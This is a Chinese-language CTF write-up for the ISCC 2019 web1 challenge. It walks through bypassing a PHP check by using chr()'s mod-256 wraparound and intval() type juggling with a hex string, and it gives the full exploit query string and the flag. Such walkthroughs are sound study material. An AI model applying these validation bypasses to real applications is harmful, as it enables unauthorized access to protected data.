2019ISCC web1题目

题解

拿到题目直接给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

在for循环内,当元素的值在32-127时,销毁value的值,在32-127范围之外的value值通过chr函数返回对应于ascii所指定字符,.=累加到$username上。

看源码:

当满足if ($username == ‘w3lc0me_To_ISCC2019’ && intval($password) < 2333 && intval($password + 1) > 2333)时输出flag

$username第一个字母w所对应的ascii码为119,在32-127范围内,因为chr()函数会自动进行mod256,所以可以传参119+256得到w,写了一个c++脚本跑出了value的值

1
2
3
4
5
6
7
8
9
10
11
12
#include<iostream>
using namespace std;
int main()
{
char a[30]="w3lc0me_To_ISCC2019";
int i;
for(i=0;i<19;i++)
{
printf("%d,",(int)a[i]+256);
}
return 0;
}

为375,307,364,355,304,365,357,351,340,367,351,329,339,323,323,306,304,305,313

接着看if语句,发现intval($password) < 2333和intval($password + 1) > 2333要同时满足,查阅函数,得知intval函数在参数是字符串的情况下,只会返回第一个字母之前的数值,如果第一个就是字母则返回0.

所以我们可以令password=0xaaaa(所传参数会自动当成字符串处理),此时intval($password)=0<2333,字符串$password和数字相加会先转换成数字再相加,所以满足intval($password + 1) > 2333

所以传参:

1
?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0xaaaa

得到:Hello w3lc0me_To_ISCC2019!

flag{8311873e241ccad54463eaa5d4efc1e9}


知识点总结

count — 返回数组中元素的数目
unset — 释放给定的变量
chr — 返回相对应于 ascii 所指定的单个字符

此外,chr()函数会自动进行mod256

1
2
3
4
官网上的注释为:
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
intval — 获取变量的整数值

intval函数,在如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。
如果字符串第一个是’-‘,则从第二个开始算起。
如果参数是符点数,则返回他取整之后的值。
当var是一个array时候,var为空则返回0,不为空则返回1

所以intval(“12ab34”) 返回的是12

1
2
3
4
5
6
7
8
9
官网注释为:
It seems intval is interpreting valid numeric strings differently between PHP 5.6 and 7.0 on one hand, and PHP 7.1 on the other hand.

<?php
echo intval('1e5');
?>

will return 1 on PHP 5.6 and PHP 7.0,
but it will return 100000 on PHP 7.1.